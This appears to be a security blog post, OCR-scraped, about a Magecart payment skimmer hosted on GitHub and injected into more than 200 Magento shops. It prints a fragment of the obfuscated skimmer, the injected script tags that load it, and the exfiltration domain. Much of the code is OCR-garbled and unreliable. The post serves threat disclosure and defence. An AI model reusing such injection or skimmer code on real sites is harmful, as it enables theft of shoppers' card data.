GitHub hosted Magecart skimmer used against hundreds
of e-commerce sites
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Every day, new e-commerce websites fall into the hands of one of the many Magecart
skimmers. Unbeknownst to shoppers, criminals are harvesting their personal information,
including payment details in the online equivalent of ATM card skimming.

Most often the skimming code—written in JavaScript and obfuscated—is hosted on
infrastructure controlled by attackers. Over time, they have created thousands of domain
names mimicking Magento, the CMS platform that is by far most targeted.

However, as we sometimes see in other types of compromises, threat actors can also abuse
the resources of legitimate providers, such as code repository GitHub, acquired by Microsoft
last year.

This latest skimmer is a hex-encoded piece of JavaScript code that was uploaded to GitHub
on April 20 by user momo33333, who, as it happens, had just joined the platform on that day
as well.
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History for mage / mage.js
Commits on Apr 25, 2019

Update mage.js

momo33333 committed 12 hours ago

Update mage.js

mome33333 committed 12 hours ago

Update mage.js

momo33333 committed 12 hours ago
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Commits on Apr 23, 2019

Update mage.js

momo33333 committed 2 days ago

Commits on Apr 20, 2019

Update mage.js

momo33333 committed 5 days ago

Create mage.js

momo33333 committed 5 days ago

In the above and below screenshots, you can see that the threat actor was fine tuning the

@ https://github.com/momo33333/mage/commits/master/mage.js
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var _@x75be=

["\x75\HEE\XB4\XE5 \NE6\KED\XEE KBS\ NE4" , "\XEB\HEF \ X7 3\ K74 \XBE\xE1\ X6
DYWxB5™, "\ HTE\ B\ xBC", "\ 2E\ED\ KBTI\ NEF \ BB\ KEF \ 72\ xBD\ XT3\ K28\ %69,
KEE KT\ KT S AN T4\ 5B\ NEE \XG1\xED\ K65\ 3D\ x2 2\ X6 \xEF \ XTI\ T3\ 74\ x5FY,
KEE\XB1\xED \ B \XZ2\XED", "ANTINKEI\KTANKES ", "\ 2A\X5B\X6E\XB1\xED\ X6
Sk 2AN 3D\ K2 2\ B3\ xB3\x5F \BE T 5\ xED W22\ x5D0", "\ x2A\KSB \xBE\ 61\ 6D
AHES AR 2ANKIDARZ 2\ K63\ EI W KEF \RE5 T B\ RTO\xSF \ B\ k22 \ x50 ", " \x2A\K5EN
WBE B\ xED \ xE5 W ZA N30 W22\ B3\ B3\ EF \ KBS \ T8\ N TB\ K5 F \x 7O\ x22 k50"
» M 2ANKEBAKEE B 1 \xED 65\ 24 \ X3\ X2 2 \ 63 W KB I\ kG F B3\ BT\ K64 \x22 %
50", "AN2AN\KSE\x - 6 \XBE\XET XS
BA\xB6\KED\ T 2 \x PN\ x5B\xEE\ %61
WHEDAKEE W xIDAKD O bfu Scate d S kl m m e r 1hx73\x74\=6E
WHE1NWMEDWKES W KEDW K22\ K50, "\ xZA\KGB\KEE \xB 1\ xBD \xE5 \ x3DYx22\x62\ k69,
KB HBCA BT\ HBE BT\ xSB A\ 73\ TA \x7 2\ 65\ x6 5\ x 74\ x50\ x5B\ x50 \x2 2\ x50"
2 AKZANKEBAXBGEWKE L\ NED K65\ X 3D\ K22\ K62\ XE I\ KEC\ REC KB\ REE\KGT W\ X5B \ %
BINHEI W WTA TN HED 220507, " 2A\ xEB W KBE \ B 1\ xEBD \XB5\ K30\ x22\ xE 2\ KB
6\ HBC NG \NEE \ B 7\ X5B\ KT 2\ X6 5\ 67 \XBI\XEF \N6E \X5F\x62\x64\ x50\ x2
2hx50", "W ZANKSBAXBE W B L\ B0 \xE5 W ID\ K2 2\ k6 2\ B I\ xEC\ K60\ 6D\ HEE\xET
WSB A TBNKEF W T I TANNEI W HBF \BA \xES 5D\ 22\ 150", "\ x2A\KEB W WEE\xE 1Y,
KED KBS\ ID K22\ G2\ KB \KEC A\ XEC\KED \KEE \ KB T\ XEB \x 63\ XEF \ X T\ KEE\ kT4
KT 2T INNEF B x4\ x50\ X220 x50, "\ x2ANKESB W XEEW KB 1\ XD\ KBS \ 3D\ 22\ X
62469\ B\ kB0 \ B\ KEE \ 67 \ 5B\ 74\ 65\ xBC \ 65\ x 7B\ 6B \xEF \ xBE \ xB5 \x
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skimmer, after having done a few tests:

Update mage.js

1»9 master

momo33333 committed 2 days ago  Verified

Showing 1 changed file with 1 addition and 1 deletion.

v 2 Em mage.js ﬁ-

@@ -1 +1 @@

var tested=1;

Browse files

1 parent 883542

Unified

Split

commit 4c94d6f17927278efe785F23bBebdBca520153df

+ wvar _Bxdbd8=[""\x75\x6E"\ X644 x65 \ 66N\ X6\ NEE\ W65\ 64", "\ BB\ NEF \ XT3N\ NFA\NEE \ 61\ B0 HE5" , "\ T B\ N1\ B C" , "\ 2EN B0\ B\ SF BB\ MEF >
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Just like with any other kind of third-party plugins, compromised Magento sites are loading
this script within their source code, right after the CDATA script and/or right before the
</html> tag:

Te3d | <3cript type="text/javascript"»// /<! [CDATA[
Ted var Translator = new Translate([]1);
Te5 Frll></acript»<script type="text/javascript' src="https:// raw.

S githubusercontent . com/momo33333 /mage /master/mage . js ' »</acript>

746 | «/div>

747 | <gcript type="text/jevescript' src="https://rawv_.githubusercontent.com/
= momo33333/ mege/master/mage . js "> /acript>< //body>

748 | </html>

According to a search on urlscan.io, there are currently over 200 sites that have been
injected with this skimmer:

urlscan. fAHome QbSearch IMAPI  $live ©@About Rlogin £) SecurityTrails 32 running

Search for domains, IPs, filenames, hashes, ASNs

"raw.githubusercontent.com\/momo33333\/mage\/master” Search! | ©JReload

Help & Examples

Search results
@ URL Submitted Size & IPs v @&
URL: dealsdkart.com/ 16 minutes ago 3MB 8 3 =

I1P: 20 PTR: cp-48.webhostbox.net - Server: Apache/2.4.39 (cPanel) OpanS5L/1.0.2r m... Via: api
GeolP 5 (PUBLIC-DOMAIN-REGISTRY - PDR, US)
37 minutes ago 1MB 92 14 2 E
[m} 4.104.bc.googleusercontent.com - Server: Apache/2.4.10 (Debian) PHP/5.5.34 Via: api
- A515169 (GOOGLE - Google LLC, US)
49 minutes ago 2MB 15 3 =
Via: api
1 hour ago 832KB 77 7 2=
(m] Via: manual
21 hours ago 1MB 7% 7 3B
[m] Via: api
URL: freecaad.com/ 22 hours ago 1MB 3 3 =
0 82 6 R: hl104.dinaserver.com - Server: Apache Via: api
GeolP: E2.E5- AS42512 (DINAHOSTING-AS, ES)
URL: canto.com/ 23 hours ago 1MB 5 2 E
0 Ip192 3.81- PTR: 81.193-157-1%92.rdns.scalabledns.com - Server: Apache Via: api

GeolP: BE | os Angeles,US - AS [ENZUINC-US - Enzu Inc, US)

A look at the deobfuscated script reveals the exfiltration domain (jquerylol[.Jru) where the
stolen data will be sent to:
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It's worth noting that the compromised Magento sites will remain at risk, even if the GitHub-
hosted skimmer is taken down. Indeed, attackers can easily re-infect them in the same

manner they initially injected the first one.

It is critical for e-commerce site owners to keep their CMS and its plugins up-to-date, as well
as using secure authentication methods. Over the past year, we have identified thousands of
sites that are hacked and posing a risk for online shoppers.

We reported the fraudulent GitHub account which was quickly taken down. We are also
protecting our users by blocking the exfiltration domain.
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